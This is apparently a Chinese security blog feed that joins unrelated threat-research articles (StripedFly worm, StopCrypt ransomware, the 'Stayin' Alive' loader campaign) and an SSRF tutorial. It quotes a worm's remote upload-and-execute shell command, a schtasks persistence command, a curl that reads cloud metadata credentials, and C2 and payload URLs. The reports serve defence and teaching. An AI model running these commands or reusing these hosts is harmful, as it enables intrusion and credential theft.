憑據收集程序該模塊運行一個專用線程，每兩小時定期掃描一次。在掃描過程中，它從所有活躍用戶收集一系列敏感信息，這些信息包括網站登錄用戶名及密碼，以及個人自動填寫數據，比如姓名、地址、電話號碼、公司和職銜。它還獲取已知的Wi-Fi網絡名稱和相關密碼，以及來自流行的軟件客戶軟件（如FileZilla、Cyberduck和WinSCP）的SSH、FTP和WebDav憑據。

值得一提的是，Web瀏覽器對憑據收集的支持不僅限於Chrome、Firefox和Internet Explorer等知名瀏覽器，還包括一些不太知名的瀏覽器，比如Nichrome、Xpom、RockMelt、Vivaldi、SaMonkey、Epic Privacy和Brave。

在Linux版本中，它還收集存儲在$HOME/.ssh中的OpenSSH密鑰，將來自$HOME /.ssh/known_hosts的主機整理成表，並包括從Libsecret保管庫檢索秘密信息的功能。然而，這項特殊的功能目前有缺陷，因為鏈接的musl libc庫中沒有dlopen API實現。

可重複的任務該模塊擁有幾個內置的功能任務，這些任務可以執行一次，也可以在可重複的調度基礎上執行，條件是特定窗口必須可見，這些任務才會繼續處理。

下面簡要描述任務：

马云惹不起马云獲取屏幕截圖，列出那一刻可見的所有窗口。

马云惹不起马云使用某個命令行執行進程，重定向輸出，並使用正則表達式加以過濾。

马云惹不起马云記錄麥克風輸入。

马云惹不起马云該任務收集具有特定擴展名的文件列表，比如與圖像、文檔、聲音、視頻、歸檔、數據庫、證書、源代碼文件相關的文件及其他關鍵的用戶數據文件。該進程掃描所有本地驅動器和網絡共享區，系統文件夾除外。這是在惡意軟件的Linux版本中運行的唯一任務。

偵察模塊該模塊匯集大量的系統信息，並在連接時將其傳輸到C2服務器。收集的數據包含眾多詳細信息，包括操作系統版本、計算機名稱、硬件MAC地址列表、Windows系統的當前用戶名、Linux系統的/etc/passwd文件、機器的IP地址、當前連接的TOR網絡出口節點的IP地址、系統啟動時間、惡意軟件正常運行時間、時間及時區，總內存/可用內存量、用戶管理權限以及特定的Windows相關信息，比如UI語言和鍵盤佈局、存在的防病毒軟件、NetBIOS名稱、DNS域、機主的Windows許可證詳細信息以及存在的PowerShell命令解釋器。

SMBv1和SSH感染程序有兩個模塊專門負責惡意軟件的滲透能力，它們構成了核心的蠕蟲功能。

一旦憑據收集模塊完成任務，SSH感染程序就開始發威，它過濾結果尋找SSH密鑰和憑據，如果找到，就激活專用線程。該線程的隨機超時中斷時間從10分鐘到2小時不等，啟動滲透進程。

首先，它從緩存或直接從bitbucket[.]org檢索delta.dat和delta.img。然後，它進而驗證這些文件的完整性，從delta.img動態加載libay庫、zlib庫和libssh2庫。下一步是嘗試連接到遠程SSH服務器。如果連接成功，它調用並解析/bin/sh -c ' uname -nmo '命令的輸出；如果遠程系統受支持，惡意軟件將其二進製文件以隨機名稱上傳到遠程的/tmp文件夾，並以命令/bin/sh -c 'cat %s; chmod +x %s; nohup sh -c '%s; rm %s' /dev/null'執行該文件。這個方法確保了與x86、amd64、arm和aarch64 Linux CPU等架構兼容，並使用生成的MZ-PE加載程序與Cygwin x86和amd64遠程主機兼容。

SMBv1感染模塊使用自定義的EternalBlue漏洞利用代碼，充當Windows受害者的主要滲透工具。初始執行後，它通過修改受害者係統上的HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters註冊表項，立即禁用SMBv1協議。然後，它啟動兩個專用線程來執行定期的蠕蟲活動。

第一個線程負責檢查網絡適配器的IP地址和子網掩碼，然後試圖在整個局域網子網內引起感染。相比之下，第二個線程定期嘗試選擇一個隨機的互聯網IP地址，以下地址排除在外：

obogon網絡，比如0.0.0.0/8、10.0.0.0/8、100.64.0.0/10、 127.0.0.0/8、172.16.0.0/12、192.168.0.0/16、198.18.0.0/15、224.0.0.0/4和240.0.0.0/4。

o169.255.0.0/16--主要指南非。這可能是一個bug，開發者可能意指169.254.0.0/16--bogon網絡列表中缺失的部分。

o3.0.0.0/8、15.0.0.0/8、16.0.0.0/8、56.0.0.0/8--亞馬遜、惠普和美國郵政部等。

o6.0.0.0/8和55.0.0.0/8--美國陸軍信息系統司令部。

o7.0.0.0/8、11.0.0.0/8、21.0.0.0/8、22.0.0.0/8、26.0.0.0/8、 28.0.0.0/8、29.0.0.0/8、30.0.0.0/8、33.0.0.0/8、214.0.0.0/8和215.0.0.0/8--美國國防部網絡信息中心。

受支持的Windows版本包括Windows Vista、Windows 7、Windows Server 2008 R2、Windows 8、Windows Server 2012和Windows 10（直至build 14392）。

門羅加密貨幣挖礦模塊Monero挖礦模塊如虎添翼。它在一個單獨的進程中運行，巧妙地偽裝成位於Google\Chrome\Application\Services目錄中的chrome.exe進程，這可以在公共或本地AppData目錄中找到。這種欺騙性手段甚至包括對偽裝的可執行文件的版本信息和進程圖標進行更改。主模塊中的惡意軟件功能定期監視木偶挖掘進程，必要時重新啟動它，它還向C2服務器如實報告哈希率、工作時間、發現的錯誤和錯誤統計信息。

池服務器的DNS解析被巧妙地隱藏在針對Cloudflare DoH（DNS over HTTPS）服務的DNS over HTTPS請求的後面，為其活動增添了隱蔽性。

我們強烈懷疑這個模塊是惡意軟件能夠長時間逃避檢測的主要原因，它的存在主要是出於巧妙偽裝的需要。值得一提的是，該模塊挖掘的門羅幣在2017年徘徊在10美元左右後於2018年1月9日達到了542.33美元的高位。截至2023年，成交價約150美元。雖然這個模塊肯定有利可圖，但它不一定是這種惡意軟件最賺錢的用途。比如說，尋找未加密的二進制錢包或錢包憑據可能牟取更高的利潤。

此外，惡意軟件代碼中存在與挖礦相關的未加密字符串，這從側面證明了其潛在的輔助用途。

ThunderCrypt我們偶然發現了該惡意軟件的早期版本，這促使我們發現了一個相關的勒索軟件變體：ThunderCrypt。事實證明，這兩種惡意軟件有著同樣的底層代碼庫，更重要的是，它們與位於ghtyqipha6mcwxiz[.]onion:1111的同一台C2服務器進行聯繫。

與StripedFly相比，ThunderCrypt勒索軟件展現了驚人相似的功能和模塊，這包括TOR客戶軟件、配置存儲、升級/卸載和偵察模塊，值得注意的一處例外是沒有SMBv1感染模塊。有意思的是，該勒索軟件使用可重複任務模塊的文件列表組件作為其勒索加密進程的必要部分。

遙測數據顯示，ThunderCrypt首次出現在2017年4月23日，活動的主要高峰期出現在隨後的5月，它因一起相當有趣的事件而引起了台灣新聞網的注意。一名台灣網民因無法支付0.345比特幣的勒索贖金以換取解密內容，決定通過提供的支持電子郵件地址與攻擊者聯繫。他在郵件中坦率地解釋了面臨的困境，提到月收入只有400美元。令許多人吃驚的是，攻擊者回复承認高估了台灣民眾的收入，這次攻擊被認為徹底失敗。

5.png

圖5. 台灣新聞網關於ThunderCrypt的報導

EternalBlue我們認為EternalBlue漏洞與StripedFly背後的開發者存在共同點。我們的假設依賴PE時間戳的準確性，雖然不可能驗證初始EternalBlue模塊時間戳的真實性，但惡意軟件的後續更新含有與遙測數據大致匹配的時間戳，因此初始時間戳很可能也是準確的。我們重新構建的時間線如下：

o2016年4月9日：PE時間戳表明，StripedFly最早的已知版本包含EternalBlue。

o2016年8月：Shadow Brokers組織首次洩露信息。

o2017年3月14日：微軟發布安全公告MS17-010，附有EternalBlue漏洞的補丁。

o2017年4月14日：Shadow Brokers發布了含有EternalBlue漏洞的洩露信息。

o2017年4月15日：第一個包含EternalBlue的勒索軟件ExPetr出現。

o2017年4月20日：出現了最早版本的ThunderCrypt勒索軟件（不含EternalBlue）。

o2017年4月23日：首次在遙測數據中檢測到了ThunderCrypt。

o2017年5月12日：WannaCry勒索軟件攻擊利用了EternalBlue。

o2017年6月27日：ExPetr攻擊使用了EternalBlue。

o2017年8月24日：在初始PE時間戳給出的日期一年後，我們的遙測數據首次檢測到StripedFly。

綜上所述，這些不同的數據表明了與Equation惡意軟件相似，不過沒有直接證據表明它們存在關聯。與Equation惡意軟件家族相關的特徵便於發現了該惡意軟件，編碼風格和方法與SBZ惡意軟件頗為相似。

結論StripedFly是很久以前編寫的，多年來它成功地逃避了檢測，無疑實現了其預期目的。許多矚目和復雜的惡意軟件已被調查過，但這個軟件很特別，確實值得關注。

真正的目的是什麼？這仍然是個謎。雖然ThunderCrypt勒索軟件表明開發者出於商業動機，但它提出了一個問題：為什麼他們不選擇可能更有利可圖的途徑？勒索軟件團伙基本上旨在獲取匿名贖金，而這個案例似乎一反常態。

問題仍然存在，但只有那些設計這個神秘惡意軟件的人知道答案，如此復雜且專業設計的惡意軟件只想達到這種微不足道的目的，實在讓人費解。

攻陷指標C2服務器gpiekd65jgshwp2p53igifv43aug2adacdebmuuri34hduvijr5pfjad[.]onion ghtyqipha6mcwxiz[.]onion

ajiumbl2p2mjzx3l[.]onion

URLbitbucket[.]org/JulieHeilman/m100-firmware-mirror/downloads/

bitbucket[.]org/upgrades/um/downloads/

bitbucket[.]org/legit-updates/flash-player/downloads

gitlab[.]com/JulieHeilman/m100-firmware-mirror/raw/master/

gitlab[.]com/saev3aeg/ugee8zee/raw/master/

github[.]com/amf9esiabnb/documents/releases/download/

tcp://pool.minexmr[.]com:4444

tcp://mine.aeon-pool[.]com:5555

tcp://5.255.86[.]125:8080

tcp://45.9.148[.]21:80

tcp://45.9.148[.]36:80

tcp://45.9.148[.]132:8080

system

HireHackking

StopCrypt 勒索軟件（又名STOP）的新變種在野外被發現，它採用涉及shellcode 的多階段執行過程來逃避安全工具。

StopCrypt，也稱為STOP Djvu，是現有的分佈最廣泛的勒索軟件之一。

因為這種勒索軟件操作通常不針對企業，而是針對消費者，經常產生數万筆400 至1000 美元的小額贖金，以至於很少聽到安全研究人員討論STOP。

STOP勒索軟件通常通過惡意廣告和可疑網站傳播，這些網站會分發偽裝成免費軟件、遊戲作弊和軟件破解的廣告軟件捆綁包。

然而，當安裝這些程序時，用戶就會感染各種惡意軟件，包括密碼竊取木馬和STOP 勒索軟件。

自2018 年首次發布以來，勒索軟件加密器沒有太大變化，發布的新版本主要是為了修復關鍵問題。因此，當新的STOP版本發佈時，由於受到影響的人數較多，值得關注。

新的多階段執行威脅研究團隊在野外發現的STOP 勒索軟件新變種，現在利用多階段執行機制。

最初，惡意軟件加載一個看似不相關的DLL 文件(msim32.dll)，可能是為了轉移注意力。它還實現了一系列長時間延遲循環，可能有助於繞過與時間相關的安全措施。

接下來，它使用堆棧上動態構造的API 調用來為讀/寫和執行權限分配必要的內存空間，從而使檢測變得更加困難。

StopCrypt 使用API 調用進行各種操作，包括拍攝正在運行的進程的快照以了解其運行環境。

下一階段涉及進程空洞，其中StopCrypt 劫持合法進程並註入其有效負載以在內存中謹慎執行。這是通過一系列精心編排的API 調用來操作進程內存和控制流來完成的。

一旦執行了最終的有效負載，就會發生一系列操作來確保勒索軟件的持久性，修改訪問控制列表（ACL）以拒絕用戶刪除重要惡意軟件文件和目錄的權限，並創建一個計劃任務來每隔一段時間執行一次有效負載5分鐘。

scheduled-task.webp.jpg

StopCrypt的計劃任務

文件已加密，並且新名稱後會附加“.msjd”擴展名。然而，有數百個與STOP 勒索軟件相關的擴展。

最後，在每個受影響的文件夾中都會創建名為“_readme.txt”的勒索字條，向受害者指示支付贖金以檢索數據。

note.webp.jpg

勒索信樣本

StopCrypt 正逐漸演變為更加隱秘和強大的威脅，儘管StopCrypt 的金錢要求並不高，而且其運營商也不會進行數據盜竊，但它仍會對許多人造成巨大損失。

HireHackking

在過去的幾個月裡，Check Point Research一直在追踪分析“STAYIN’ ALIVE ”，這是一項至少從2021年就開始活躍的持續活動。該活動在亞洲開展，主要針對電信行業和政府機構。

“Stayin’Alive”活動主要由下載和加載程序組成，其中一些被用作針對知名亞洲組織的初始攻擊載體。發現的第一個下載程序名為CurKeep，目標是越南、烏茲別克斯坦和哈薩克斯坦。

觀察到的工具的簡單化性質以及它們的流行表明它們是一次性的，主要用於下載和運行額外的有效負載，這些工具與任何已知攻擊者創建的產品沒有明顯的代碼重疊，並且彼此之間沒有太多共同之處。然而，它們都與ToddyCat基礎設施有關。

該活動利用魚叉式網絡釣魚郵件利用DLL側加載方案來傳播壓縮文件，最明顯的是劫持Audinate的Dante Discovery軟件(CVE-2022-23748)中的dal_keepalives.dll。

“STAYIN’ ALIVE ”活動背後的攻擊者利用多個獨特的加載程序和下載器，所有這些加載程序和下載器都連接到同一套基礎設施，與一個通常被稱為“ToddyCat”的攻擊相關聯。

後門和加載程序的功能是非常基本和高度可變的。這表明攻擊者將它們視為一次性的，並且可能主要使用它們來獲得初始訪問權限。

CurKeep後門調查是從2022年9月發送給越南電信公司的一封電子郵件開始的，該電子郵件被上傳到VirusTotal。郵件主題CHỈ THỊ VỀ VIỆC QUY ĐỊNH QUẢN LÝ VÀ SỬ DỤNG USER，翻譯為“管理和使用說明：用戶規定”，這可能表明目標在IT部門工作。電子郵件包含一個ZIP附件，裡面有兩個文件：一個合法的簽名文件mDNSResponder.exe，重命名為匹配電子郵件，以及一個名為dal_keepalives.dll的側加載DLL。

1.png

原始CurKeep電子郵件誘餌

首先運行合法的可執行文件(由Zoom簽名)，它加載dal_keepalives.dll，然後加載一個簡單的後門程序，稱為“CurKeep”。在初始執行期間，它將自己和合法的exe文件複製到%APPDATA%文件夾中，並設置一個名為Reserved的環境變量來指向它的路徑。該變量用於名為AppleNotifyService的計劃任務，該任務的目的是維護負載執行的久性。

2.png

CurKeep攻擊鏈

根據新發現的被劫持DLL方案，我們發現了多個部署相同工具的檔案：

Саммит 2022 г (парол - 0809).rar，可能用於針對烏茲別克斯坦，因為它是從烏茲別克斯坦上傳的，俄文文本。

QForm V8.zip ，QForm是一個仿真軟件，該文件託管在一個已知的研究門戶域名上。 Приказ №83 от 29.05.2023г.rar，可能用於針對哈薩克斯坦，假設它再次從哈薩克斯坦上傳，並帶有俄語文本。

CurKeep負載有效負載本身是一個非常小但高效的10kb文件。它包含26個函數，不使用任何庫進行靜態編譯，在執行時，它首先從msvcrt.dll生成一個導入數組，以獲得常見的C運行時函數，因為它沒有。

3.png

函數導入

4.png

全局結構構造

函數主要有效負載邏輯由三個主要函數組成：report, shell, 和file。它們中的每一個都被分配到一個不同的消息類型，該消息類型被發送到CC服務器。當執行時，負載一開始運行report函數，將基本偵察信息發送到CC服務器。然後，它創建兩個獨立的線程來重複運行shell和file函數。

report- CurKeep收集有關受攻擊計算機的信息，包括計算機名稱、用戶名、systeminfo的輸出以及C：\ProgramFiles(x86)和C：\Program Files下的目錄列表。

shell -以JSON格式發送計算機名，使用簡單的異或加密和base64編碼到CC。預期的響應包含命令字符串，命令之間以“|”分隔。它執行每個命令並將輸出發送到CC服務器。

file -發送與shell線程相同的消息，並接收如下格式的字符串' [FILE_ID]|[FULL_PATH]|[BASE64_ENCODED_FILE_DATA] '。它解析字符串並將數據寫入文件。

通信後門通信是基於HTTP的，每個函數的結果通過post請求路徑/API /report/API /shell或/API /file發送到匹配的API。結果被加密並存儲在JSON ‘msg’字段中。

5.png

基礎設施分析

我們發現的所有CurKeep樣本都與一組CC服務器通信，這些服務器鏈接到同一個TLS證書：fd31ea84894d933af323fd64d36910ca0c92af99。該證書在多個IP地址之間共享，我們認為它們都與同一個攻擊者有關。

6.png

在多個IP地址之間共享證書

除了證書之外，我們還觀察到域的類似註冊模式以及ip使用重複的asn。

7.png

相似的註冊模式和重複的asn

新發現的工具新發現的基礎設施揭示了幾個額外的樣本，主要是加載程序，用於同一地區的針對性攻擊，幾乎所有加載程序都是通過類似的方法執行的，最常見的是DLL側加載。加載程序的性質及其多樣性表明，攻擊者利用簡單的加載程序進行攻擊，仔細選擇部署額外工具的目標。

CurLu加載程序與此基礎結構相關聯的最常見的工具是CurLu加載程序，它通常通過濫用bdch.dll的側加載來加載，但這不是使用的唯一方法。這個加載程序的主要功能是聯繫CC服務器並接收要加載的DLL，然後調用預定義的導出。這是通過發送一個URI?cur=[RANDOM]的請求來實現的：

8.png

構建隨機請求URL

來自服務器的預期響應是DLL，然後將其加載並映射到內存中。接下來，加載程序搜索兩個預定義導出中的一個，並執行找到的任何導出。

9.png

在下載的DLL中搜索導出函數

CurCore其中一個新檢索的有效負載是通過名為incorrect personal information.img的IMG文件傳播的。它是從巴基斯坦上傳到VirusTotal的，利用mscoree.dll劫持部署了另一個名為CurCore的小後門程序。這個CurCore變種也指向一個模仿巴基斯坦電信供應商Nayatel的域名ns01.nayatel.orinafz.com。

當執行時，DLL通過比較執行路徑與C：\ProgramData\OneDrive\來檢查它是否持久化執行。如果沒有，它將自己和合法的PE文件複製到前面提到的OneDrive.exe文件夾下，並使用命令schtasks /create /sc minute /mo 10 /tn 'OneDrive' /tr 'C:\ProgramData\OneDrive\OneDrive.exe創建計劃任務。

如果從正確的路徑執行，它將創建一個線程，該線程初始化一個大型UUID字符串數組，然後繼續加載rpcrt4.dll並動態地導入UuidFromStringA函數。接下來，它使用該函數將整個UUID數組轉換為字節，每次一個UUID。

10.png

用於生成shellcode的UUID數組

然後，它使用EnumSystemLocalesA函數來執行從uid創建的shellcode。然後，這個shellcode加載並執行最終的有效負載。

11.png

將UUID轉換為字節並執行提取的shellcode

CurCore負載CurCore有效負載是一個小而有限的後門。執行時，它加載並解析與winhttp.dll中的HTTP請求和kernel32.dll中的CreatePipe相關的函數(從未使用過)。

接下來，它啟動主循環，其中包含負責向CC域ns01.nayatel.orinafz.com發出HTTP請求的子循環。 HTTP請求由以下結構構建：

DWORD custom_checksum; DWORD ukn_1; DWORD message_type; //only being used on ReadFile command WCHAR_T desktop_folder_path[];

custom_checksum是通過對桌面文件夾路徑的WCHAR_T數組中的所有第一個字節求和來計算的。該結構是base64編碼的，並在以下請求中傳輸到服務器：

12.png

接收到的響應也是用base64編碼的，它的第一個DWORD是要執行的命令ID。有效負載總共支持3個功能有限的命令，這表明它只用於初始偵察：

13.png

CurLog加載程序

與同一基礎設施相連的一個加載程序CurLog也被用來針對哈薩克斯坦的主要目標，我們觀察到幾個變體，一些通過DLL執行，另一些通過EXE執行。

CurLog加載程序的一個變體是在一個名為Compatible Products - Vector ver7.1.1.zip的zip文件中提供的，該文件包含一個同名的EXE文件。來自哈薩克斯坦的提交者也上傳了一個同名的DOCX文件，其中描述了一個名為VECTOR的系統及其兼容性。

14.png

VECTOR系統描述

當負載執行時，它通過比較執行路徑與C：\Users\Public\Libraries或檢查它是否使用參數-u運行來檢查它是否會持久性運行。如果沒有，它會添加一個計劃任務，並將自己和合法的exe複製到前面提到的文件夾中。

接下來，它聯繫CC服務器並期望接收解碼的十六進制流。如果成功，它將繼續驗證已解碼的十六進制流是否以MZ或cDM開頭，並將其保存到文件中。最後，它基於生成的文件創建一個進程。

針對越南的攻擊我們發現的最古老的變種(見下文)是通過一個以越南ISP為主題的ISO映像從越南上傳的。嚴重混淆的示例驗證它是否在正確的路徑上執行，就像其他加載程序一樣。如果沒有，它將創建目錄C：\ProgramData\ApplicationData\，並將合法的EXE文件複製到該文件夾中，並將惡意的側面加載的DLL文件mscoree.dll複製到該文件夾中。然後，它將4個硬編碼字節寫入一個新文件v2net.dll，該文件用作活動ID，它獲取計算機名，並發送以下網絡請求：

15.png

然後使用帶有密鑰0x44的簡單異或加密對網絡響應進行解密。接下來，它檢查第一個字節XOR0x09是否等於0x44，第二個字節XOR0xD7是否等於0x8D。你可能會注意到MZ ^0x09D7=0x448d，從中我們可以推斷CC響應應該包含PE文件。然後將接收到的文件寫入AppData\Roaming\ApplicationData\[HEX_STRING]\common.exe並執行。

StylerServ後門研究中，我們注意到許多加載程序的一個共同特徵：它們的編譯時間戳被修改為2015，其標頭值表明它們是使用Visual Studio 2017編譯的。

16.png

副標題顯示Visual Studio 2017(上圖)和2015年的編譯時間戳

繞過這個特徵，我們發現了另外一個示例，該示例由某人上傳，此人也上傳了CurLu加載程序信標的一個變體到127.0.0.1，並在bdch.dll上使用相同的側加載。

新確定的示例名為StylerServ，它與前面提到的加載程序非常不同，因為它被用作被動偵聽器，通過特定端口為特定文件提供服務。當DLL被執行時，它會創建五個線程，每個線程監聽一個不同的端口。在樣本中，我們觀察到以下端口：60810、60811、60812、60813、60814。

17.png

創建監聽特定端口的線程

每隔60秒，每個線程都會嘗試讀取一個名為styles .bin的文件。如果該文件可用且文件大小為0x1014，則認為該文件有效，並在後續線程的網絡請求中提供該文件。這些線程監督套接字上演變的一整套行為。其邏輯本質上是，每個線程都可以接收遠程連接，並提供前面提到的stylesers .bin的加密版本。

具有相同名稱的文件(stylesers .bin)也由同一提交者上傳，並使用XOR加密。在StylerServ後門中不存在解密文件的密鑰，但可以通過執行加密分析獲得。當它被解密時，我們可以看到加密的文件看起來像一種配置文件，包含各種文件格式和一些未知的DWORDS：

18.png

加密配置

19.png

解密配置

受害者研究在我們對這次活動的分析中，我們觀察到亞洲國家的目標一致，即越南、巴基斯坦、烏茲別克斯坦，最突出的是哈薩克斯坦。目標的跡象包括魚叉式網絡釣魚郵件、VirusTotal提交者和文件命名約定。

此外，各種各樣的加載程序和下載程序所使用的域表明，至少有一些目標或最終目標是政府附屬組織，主要在哈薩克斯坦，包括：

pkigoscorp[.]com——很可能是為了模仿https://pki.gov.kz/，哈薩克斯坦國家證書頒發機構。

certexvpn[.]com——哈薩克斯坦政府使用的哈薩克VPN軟件。

此外，有跡象表明，其中一次攻擊是圍繞一個名為qform3d的模擬軟件進行的。這包括使用域名qform3d[.]in的使用以及在壓縮文件QForm V8.zip中傳播文件。惡意軟件託管在一個研究門戶網站上，這表明其目標可能從事研究工作。

幕後組織該活動利用了許多目前未知的工具和技術。不同的加載程序和下載器集合可能代表了該攻擊者的初始攻擊媒介，該組織已在該地區活動多年。

本報告中描述的各種工具都是定制的，僅使用一次，因此，它們與任何已知的工具集沒有明顯的代碼重疊，甚至彼此之間也沒有。然而，它們都與一組基礎設施有關，其中一部分與一個名為todddycat的攻擊者有關。

CurLog和CurLu加載程序使用的兩個域是fopingu[.]com和rtmcsync[.]com，它們在該文章中提到過。這兩個域也顯示了解析到149.28.28[.]159的歷史。

雖然這些重疊並不一定表明“STAYIN’ ALIVE ”活動的幕後主使與ToddyCat的幕後主使是同一組織，但很可能兩者有共同的聯繫，共享相同的基礎設施。

總結如上所述，一次性加載程序和下載器的使用正變得越來越普遍，甚至在老練的攻擊者中也是如此；一次性工具的使用使得檢測和分析工作也在變得更加困難，因為它們經常被替換，並且可能從頭開始編寫，這在“STAYIN’ ALIVE ”活動中很明顯。

本文回顧了針對亞洲電信行業的攻擊活動中使用的一些工具，通過基礎設施分析不同後門之間的聯繫時，我們還發現了與ToddyCat的潛在聯繫，這是一個在該地區活動的已知行動者。雖然我們不能完全肯定ToddyCat是這次活動的幕後組織，但很明顯，兩者都使用了相同的基礎設施攻擊求類似的目標。

HireHackking

微信截图_20220507194114.png

服務器端請求偽造(SSRF)是一種可以用來使應用程序發出任意HTTP請求的攻擊。攻擊者使用SSRF 將來自互聯網上暴露的服務和Web 應用程序的請求代理到未暴露的內部終端。 SSRF是一個黑客反向代理，這些任意請求通常以內部網絡終端為目標，以執行從偵察到完成帳戶接管的任何操作。 SSRF以及XSS和CSRF，由於其普遍性和影響，已成為了最嚴重的web安全漏洞，SSRF是owasp十大漏洞之一。

什麼是SSRF?乍一看，添加從應用程序發出HTTP請求的功能似乎不需要進行安全審查。但是，只要你允許用戶控制HTTP請求的目標並提供用戶輸入，攻擊者就可以利用你的應用程序在內部網絡中的特權位置來實施攻擊。

SSRF漏洞Webhook就是一個很好的例子。通過設計，開發者希望用戶能夠控制webhook的目標地址。然而，這意味著攻擊者也可以控制目標地址。這允許攻擊者通過攻擊者控制的DNS 直接針對內部IP 地址或內部地址。

這意味著，無論你對敏感的內部服務或應用程序進行多麼嚴格的防火牆防護，如果你允許公開暴露的應用程序訪問這些內部應用程序並讓攻擊者控制HTTP 請求目標，攻擊就有可能找到通往這些敏感應用程序的路徑。

利用SSRFSSRF讓我們從一個充當在線hexdump 的簡單示例應用程序開始。應用程序接受URL，向API 發出請求，並輸出響應正文的十六進制轉儲。你可以在下圖中看到示例輸出以及此應用程序的源代碼。

1.png

HTTP hexdump 應用程序的示例輸出

但是，如果這個hexdump 應用程序可以通過網絡訪問敏感的內部應用程序，會發生什麼情況？例如，你可能正在遵循最佳實踐並使用內部秘密服務來安全地存儲應用程序所需的憑證，而不是將它們檢入源代碼中。

這正是上圖中的程序所模擬的。要運行此應用程序，請將上圖中的代碼保存在一個名為ssrf1.go 的文件中，然後輸入go run ssrf1.go 以運行該應用程序。

首先導航到http://localhost:8080?url=http://www.google.com 的應用程序以查看www.google.com 的hexdump。要觸發SSRF，請導航到http://localhost:8080?url=http://localhost:8081 以獲取內部秘密。

2.1.png

2.2.png

2.3.png

一個典型的SSRF漏洞示例

上圖中的程序運行hexdump 應用程序並模擬秘密服務的運行。雖然hexdump 應用程序綁定到所有接口，但秘密服務只綁定到loopback，這是一個不應該暴露在互聯網上的合理決定。

問題是hexdump 在本地運行並且可以向loopback（或任何其他內部終端）發出請求。只需將hexdump 指向http://localhost:8081 即可公開內部憑證，無論它是否偵聽任何公開公開的接口。

AWS上的SSRFAWS示例元數據服務(IMDSv1) 很好地說明了SSRF 的強大功能。事實上，研究人員Colin Percival稱其為EC2最危險的功能。

示例元數據服務非常有趣，因為它可以同時用於增提高和降低應用程序的安全性。

它可用於通過幫助你安全地管理秘密憑證生命週期來提高應用程序的安全性。你可以將IAM 角色附加到運行你的應用程序的示例，然後從示例元數據終端獲取你的憑證。示例終止後，這些憑證將被銷毀並頒發一組新憑證。從理論上講，這有助於秘密憑證的生命週期；它減少了可能在違規中暴露的憑證數量，並將憑證的生命週期縮短為示例的生命週期。

但是，如果你的應用程序容易受到SSRF的攻擊，那麼通過允許攻擊者也檢索你的示例的憑證，同樣的優勢也可以反過來對你不利。現在你可能會說，這對IMDSv1是正確的，但對IMDSv2不再是正確的。雖然這是真的，但默認情況下IMDSv1總是啟用的，因此它仍然是一個常見的普遍問題。

如果你熟悉AWS並且已經在使用IAM角色，你可以使用curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$roleName來了解SSRF在你的應用程序中的致命程度。

如果你對AWS 不熟悉，可以使用下圖中的示例腳本來創建可用於查詢元數據終端的IAM 角色、VPC 和EC2 示例。不過你得付費，因此請確保在完成後關閉此示例。

3.1.png

3.2.png

3.3.png

3.4.png

3.5.png

3.6.png

創建顯示如何利用SSRF 和元數據終端所需的基礎設施（VPC、安全組和EC2 示例）的腳本

4.png

查詢元數據終端的截斷輸出SSRF允許攻擊者從你的基礎設施外部完全訪問這些數據

盲SSRF（Blind SSRF）盲SSRF 是SSRF 攻擊的一個子集。在前面的示例中，客戶端已經能夠看到對請求的響應。 Blind SSRF 是指你可以執行請求，但看不到響應。乍一看，它似乎是一個相當沒有危險的漏洞。但是，仍然可以執行一些有趣的攻擊。

一個例子是利用盲SSRF 來改變內部服務的狀態。這方面的一個例子是Jira 中的一個盲SSRF 漏洞，它可以被用於在GitLab基礎設施中任意發出HTTP POST請求。另一個例子是使用盲SSRF 從目標網絡內部執行端口掃描。這方面的一個例子是Jira 中的一個盲SSRF 漏洞，可用於繪製New Relic 基礎設施。

在下圖中，你將看到一個應用程序的源代碼，其行為類似於webhook 服務的行為。用戶提交一個URL，服務嘗試獲取該URL，並將狀態代碼和漏洞消息返回給用戶。

要運行此應用程序，請將下圖中的代碼保存在名為ssrf2.go 的文件中，然後輸入go run ssrf3.go 以運行應用程序並導航到位於http://localhost:8080 的應用程序。

5.1.png

5.2.png

5.3.png

5.4.png

5.5.png

可用於映射內部網絡的應用程序

要了解如何利用盲SSRF，請在你的主機上嘗試一些終端，看看它們是如何響應的。以下是一些探索步驟：

1、嘗試一個沒有服務監聽的端口。

2、試試端口22 看看SSH 是如何響應的。

3、嘗試使用Web 服務器偵聽的端口。

4、響應的時機是否提供了任何有用的信息。

SSRF緩解技術在理想情況下，你的應用程序不需要發出任意請求，或者只需要向一組白名單終端發出請求。在這種情況下，你基本上不必擔心SSRF，因為攻擊者無法控制目標終端。

不幸的是，正如我們在前面的例子中看到的，這通常是不可能的。事實上，你可能正在編寫一個應用程序，你希望在其中授予用戶對終端的控制權，例如webhook。

SSRF 的緩解措施通常可以分為兩大類：你可以在網絡層或應用程序層應用控制。

使用防火牆緩解SSRF對於SSRF，一種常見的緩解措施是實現關於運行應用程序的主機能夠連接到哪些主機的防火牆策略。這通常應用於現有的網絡基礎設施，其中防火牆位於網絡體系結構中的關鍵位置，或者使用網絡設備上的接口ACL 放置在更靠近主機的位置，或者甚至基於主機的防火牆來限制出站連接。

防火牆可能很脆弱，因為任何應用於主機的防火牆都無法區分應用程序建立的連接與節點或同一節點上其他軟件的正常操作規則。防火牆也只能將策略應用於他們看到的流量，因此應用程序可以訪問綁定到本地主機或同一網絡內其他節點的診斷終端。

基於客戶端請求創建出站連接的應用程序也很少見，將來對防火牆策略的更新可能不會考慮到可以創建任意請求的應用程序。

另一個很好的網絡層防禦是使用類似Stripe 開發的Smokescreen 之類的東西。 Smokescreen 是一個HTTP CONNECT 代理，你可以通過它匯集所有流量，並使用它將ACL 放置在允許流量的位置。

“Smokescreen 限制它連接到的URL：它解析請求的每個域名，並確保它是可公開路由的IP，而不是Stripe 內部IP。這可以防止諸如我們自己的webhooks基礎設施被用來掃描Stripe內部網絡之類的攻擊。”

唯一的問題是你的應用程序需要實際支持HTTP CONNECT 代理並願意通過它路由你的流量。好消息是，這通常是默認支持的。例如，Go 中的DefaultTransport 已經做到了這一點，甚至為其他協議添加HTTP CONNECT 代理支持，就像我們對SSH 所做的那樣。

相互認證另一種值得討論的方法是在所有內部服務上使用相互身份驗證。回到webhook 示例，即使攻擊者能夠控制目標，連接也可能無法通過身份驗證與內部資源通信。但是，這種方法不是通用的。如果攻擊者可以控制經過身份驗證的連接，SSRF 就會重新出現。

使用應用程序控制緩解SSRF

如果你無法控製網絡配置或無法運行HTTP CONNECT 代理等其他軟件，則可以通過檢查目標地址是否在阻止範圍內來使用應用層控制來緩解SSRF。

